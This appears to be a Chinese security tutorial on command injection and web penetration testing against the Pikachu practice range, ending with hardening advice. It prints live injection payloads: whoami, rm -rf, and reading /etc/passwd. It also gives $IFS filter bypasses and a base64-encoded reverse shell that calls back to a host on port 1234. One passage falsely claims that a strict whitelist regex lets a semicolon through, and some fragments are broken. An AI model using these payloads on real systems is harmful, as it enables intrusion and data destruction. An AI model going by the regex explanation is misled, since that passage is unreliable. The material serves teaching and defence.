如果用户传入 ip=8.8.8.8; whoami ,则最终执行的命令变为:
ping -c 4 8.8.8.8; whoami
由于分号 ; 是shell中的命令分隔符,系统将依次执行 ping 和 whoami 两个命令,导致当前用户身份被泄露。
5.1.1 系统命令调用函数(如exec、system)的安全缺陷
不同编程语言提供了多种执行系统命令的方式,每种方式的风险程度各异。以下列出常见语言中的高危函数及其安全隐患:
| 语言 | 危险函数 | 说明 |
|---|---|---|
| PHP | system() , exec() , shell_exec() , passthru() , popen() |
直接执行shell命令,易受注入影响 |
| Python | os.system() , os.popen() , subprocess.call(shell=True) |
当启用shell模式时存在注入风险 |
| Java | Runtime.getRuntime().exec(cmd) |
若 cmd 为字符串而非数组,则仍可能触发shell |
| Node.js | child_process.exec() |
使用shell执行命令,默认有注入风险 |
以PHP为例, system() 函数不仅执行命令,还会自动输出执行结果到标准输出流,非常适合用于调试,但也因此常被滥用。而 exec() 虽不自动输出,但仍需手动处理返回值,若开发者疏忽仍可能导致信息泄露。
再看Python示例:
import os
ip = input("请输入IP地址: ")
os.system(f"ping -c 4 {ip}")
若用户输入 8.8.8.8; rm -rf /tmp/* ,则临时目录下的所有文件将被删除——这正是典型的命令注入后果。
⚠️ 关键问题在于:这些函数默认依赖shell解释器来解析命令字符串 。只要用户能控制命令的一部分,且未对特殊字符做过滤,就能构造出意料之外的执行路径。
安全替代方案对比表
| 不安全函数 | 推荐替代方案 | 优势 |
|---|---|---|
os.system(cmd) |
subprocess.run([cmd, arg1, arg2], shell=False) |
避免shell解析,防止注入 |
popen(cmd, 'r') |
subprocess.Popen([cmd, args], stdin=subprocess.PIPE) |
控制参数传递方式 |
system(cmd) (PHP) |
使用 escapeshellarg() 或 escapeshellcmd() 过滤输入 |
减少注入可能性 |
Runtime.exec(cmd) (Java) |
传入字符串数组 new String[]{"/bin/ping", "-c", "4", ip} |
绕过shell解析 |
通过使用 参数化执行 (即将命令与参数分离为列表),可以从根本上避免shell注入问题。因为此时操作系统不会启动shell,而是直接调用指定程序并传参,从而切断了命令拼接的可能性。
5.1.2 操作系统shell解释器的指令拼接机制
要彻底理解命令注入,必须深入了解shell如何解析命令行。Linux系统中最常用的shell是Bash,它支持丰富的命令组合语法,包括:
-
;:命令顺序执行,无论前一条是否成功 -
&&:仅当前一条命令成功时才执行下一条 -
||:仅当前一条命令失败时才执行下一条 -
|:管道,将前一个命令的输出作为后一个命令的输入 -
>/>>:输出重定向 -
$(...)或`...`:命令替换 -
&:后台执行
这些特性本是为了提升脚本灵活性,但在命令注入场景下却成了攻击者的利器。
假设某Web应用使用如下命令检查域名可达性:
$domain = $_GET['domain'];
exec("nslookup " . $domain, $output);
print_r($output);
正常输入 example.com 会返回DNS记录。但如果攻击者提交:
example.com; cat /etc/passwd
则实际执行的是:
nslookup example.com; cat /etc/passwd
攻击者即可读取系统用户账户信息。
更隐蔽的方式是使用条件执行符:
example.com && id
只有当 nslookup 成功时才会执行 id ,减少异常日志记录。
此外,命令替换也极具迷惑性:
example.com; $(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAwLzEyMzQgMD4mMQ== | base64 -d | bash)
该payload会解码一段Base64编码的反弹shell脚本并执行,极难被简单关键字过滤拦截。
典型shell元字符及其用途
| 字符 | 功能 | 攻击用途 |
|---|---|---|
; |
分隔命令 | 追加任意命令 |
| |
管道 | 将前命令输出作为后命令输入 |
& |
后台运行 | 异步执行恶意任务 |
&& / || |
条件执行 | 控制执行逻辑 |
> / < |
重定向 | 写入文件或读取敏感内容 |
`...` / $(...) |
命令替换 | 构造复杂payload |
\n (换行) |
多行命令 | 绕过单行限制 |
值得注意的是,即使某些字符被过滤,攻击者仍可通过编码、拼接等方式绕过。例如:
# 被过滤了`;`?
echo "hello"
cat /etc/passwd
# 或使用$IFS分割(Internal Field Separator)
ping$IFS-c$IFS4$IFS8.8.8.8;$IFSwhoami
这表明单纯依赖黑名单过滤是不可靠的。
5.1.3 输入过滤缺失导致任意命令执行
绝大多数命令注入漏洞的根本原因在于 输入验证缺失或不足 。许多开发者错误地认为“只允许字母数字”即可防范风险,但实际上:
- IP地址包含
. - 域名包含
.和- - 文件名包含
/、.、_ - 参数可能包含空格
因此,白名单策略必须精确匹配业务需求,而不是粗暴拦截。
考虑以下看似“安全”的过滤逻辑:
$ip = $_GET['ip'];
if (preg_match('/^[a-zA-Z0-9.-]+$/', $ip)) {
system("ping -c 4 " . $ip);
} else {
echo "非法输入";
}
表面上只允许字母、数字、点和连字符,但忽略了 ; 、 | 等关键控制符仍可注入。攻击者只需输入:
8.8.8.8;id
即可绕过正则(因为 ; 不在黑名单中?不,这个正则根本不阻止 ; !实际上该正则并未禁止分号,所以依然存在漏洞)
正确做法应是对输入做双重校验:
$ip = $_GET['ip'];
// 第一层:格式验证
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
die("无效IP地址");
}
// 第二层:使用escapeshellarg确保安全
$safe_ip = escapeshellarg($ip);
system("ping -c 4 " . $safe_ip);
escapeshellarg() 函数会对输入添加单引号并转义内部单引号,确保其被视为单一参数,无法引入额外命令。
另一个常见误区是“我已经用了trim()和strip_tags()”,但这对命令注入毫无意义—— strip_tags() 仅去除HTML标签,不影响纯文本命令。
输入处理建议清单
| 步骤 | 推荐操作 |
|---|---|
| 1 | 明确输入类型(IP、域名、文件名等) |
| 2 | 使用专用验证函数(如 filter_var() ) |
| 3 | 对必须传递的字符串使用 escapeshellarg() 或 escapeshellcmd() |
| 4 | 尽量避免拼接,改用参数化执行 |
| 5 | 记录所有命令执行日志,便于审计 |
综上所述,命令注入的根源在于 信任用户输入参与系统命令构造 。唯有坚持“永不拼接不可信数据”的原则,才能从根本上杜绝此类漏洞。
6. Web渗透测试流程与安全加固实践
6.1 渗透测试标准流程(PTES)应用
渗透测试并非盲目攻击,而是遵循一套系统化、结构化的流程。PTES(Penetration Testing Execution Standard)是当前业界广泛认可的标准之一,其核心阶段包括预攻击交互、情报收集、威胁建模、漏洞分析、渗透利用、后渗透活动和报告撰写。
以Pikachu靶场为例,完整的PTES流程可如下展开:
1. 预攻击交互与授权确认
在正式测试前,必须明确测试范围、时间窗口、合法授权方式及应急响应机制。例如,在企业环境中,需签署《渗透测试授权书》,避免法律风险。
# 示例:使用nmap进行初步服务识别(信息收集阶段)
nmap -sV -p 1-65535 192.168.1.100
该命令用于扫描目标主机开放端口及其对应服务版本,为后续漏洞挖掘提供基础数据支持。
| 阶段 | 主要任务 | 使用工具 |
|---|---|---|
| 情报收集 | 收集IP、域名、服务指纹 | Nmap, Whois, TheHarvester |
| 威胁建模 | 确定攻击面优先级 | OWASP Threat Dragon |
| 漏洞分析 | 扫描SQLi、XSS等漏洞 | Burp Suite, Nikto |
| 渗透利用 | 执行payload获取访问权限 | sqlmap, Metasploit |
| 后渗透 | 提权、横向移动、持久化 | Mimikatz, Meterpreter |
| 报告编写 | 输出风险等级与修复建议 | LaTeX, Markdown模板 |
2. 漏洞扫描与验证
利用Burp Suite拦截请求,对登录表单、搜索框等输入点进行参数篡改测试。结合ZAP自动化扫描器,检测是否存在反射型XSS或SQL注入点。
# 自定义脚本示例:批量检测URL是否存在SQL注入
import requests
urls = [
"http://pikachu/sqli.php?id=1",
"http://pikachu/sqli.php?id=1'"
]
for url in urls:
try:
response = requests.get(url)
if "MySQL" in response.text or "syntax" in response.text:
print(f"[+] 可能存在SQL注入: {url}")
except Exception as e:
print(f"[-] 请求失败: {e}")
代码说明 :
- requests.get() 发起HTTP GET请求;
- 判断响应体中是否包含数据库错误关键词;
- 若命中,则标记为潜在注入点。
3. 权限维持与清理痕迹
成功获取shell后,可通过生成隐藏账户或计划任务实现持久化访问。但在靶场环境或真实项目中,应严格遵守“不破坏、不留后门”原则,仅模拟技术路径。
6.2 多漏洞协同利用路径设计
单一漏洞往往难以达成最终目标,真正的高级攻击依赖于多漏洞链式组合。
典型攻击链示例:XSS → CSRF → 越权修改密码
- 第一步:存储型XSS植入恶意脚本
在留言板提交以下内容:
```html
<script></script>
```
当管理员登录并查看留言时,浏览器自动执行密码修改请求。
-
第二步:CSRF绕过缺失防护
目标页面未校验Referer或Token,导致攻击者可诱导用户提交关键操作。 -
第三步:越权访问升级权限
修改其他用户ID参数尝试提权:
```http
POST /admin/user_edit.php HTTP/1.1
Host: pikachu
Content-Type: application/x-www-form-urlencoded
id=1&role=admin
```
构建攻击图谱(Attack Graph)
graph TD
A[发现XSS漏洞] --> B[注入JS脚本]
B --> C[触发用户执行CSRF]
C --> D[修改管理员密码]
D --> E[登录后台管理系统]
E --> F[读取数据库敏感信息]
F --> G[导出用户凭证]
G --> H[横向渗透内网主机]
此图展示了从低危漏洞出发,通过逻辑串联实现高危后果的全过程,强调了纵深防御的重要性。
此外,敏感文件泄露(如 phpinfo() 页面暴露 open_basedir 配置)可辅助本地文件包含攻击;而命令注入则可用于反向Shell建立C2通道。
6.3 全方位安全加固实施方案
6.3.1 代码层加固措施
-
输入验证 :采用白名单过滤机制,拒绝非法字符。
php $id = intval($_GET['id']); // 强制转为整数,防止SQL注入 -
输出编码 :防止XSS,使用
htmlspecialchars()处理输出内容。php echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); -
错误处理规范化 :关闭PHP错误显示,记录日志而非返回给前端。
ini display_errors = Off log_errors = On error_log = /var/log/php_errors.log
6.3.2 配置层优化策略
| 安全项 | 推荐配置 | 作用 |
|---|---|---|
| disable_functions | exec,passthru,system,shell_exec | 阻止命令执行函数 |
| open_basedir | /var/www/html:/tmp | 限制文件操作路径 |
| allow_url_include | Off | 防止RFI远程包含 |
| expose_php | Off | 隐藏PHP版本信息 |
定期更新Composer依赖组件,使用 composer audit 检测已知CVE漏洞。
6.3.3 运维层监控体系建立
部署ELK(Elasticsearch + Logstash + Kibana)集中分析Web日志,设置规则匹配异常行为:
- 单IP高频访问
login.php - 出现
UNION SELECT关键字 - 多次404后尝试
/etc/passwd
同时集成Fail2ban,自动封禁恶意IP:
# fail2ban配置片段
[nginx-http-auth]
enabled = true
filter = nginx-auth
action = iptables[name=HTTP, port=http,protocol=tcp]
logpath = /var/log/nginx/error.log
maxretry = 3
bantime = 3600
建立CI/CD流水线中的SAST(静态应用安全测试)环节,使用SonarQube或Semgrep进行代码审计,确保新功能上线前无高危漏洞。
简介:”皮卡丘”靶场源码是一个专为Web安全与渗透测试学习设计的开源实践平台,包含完整的漏洞环境源代码,支持本地部署。该平台模拟了SQL注入、XSS、文件包含、命令注入、CSRF等常见Web漏洞,帮助初学者和安全从业者在安全环境中深入理解漏洞原理与防御机制。通过动手实验,学习者可掌握漏洞利用技术及修复方法,全面提升Web安全实战能力。
火山引擎开发者社区是火山引擎打造的AI技术生态平台,聚焦Agent与大模型开发,提供豆包系列模型(图像/视频/视觉)、智能分析与会话工具,并配套评测集、动手实验室及行业案例库。社区通过技术沙龙、挑战赛等活动促进开发者成长,新用户可领50万Tokens权益,助力构建智能应用。
更多推荐

所有评论(0)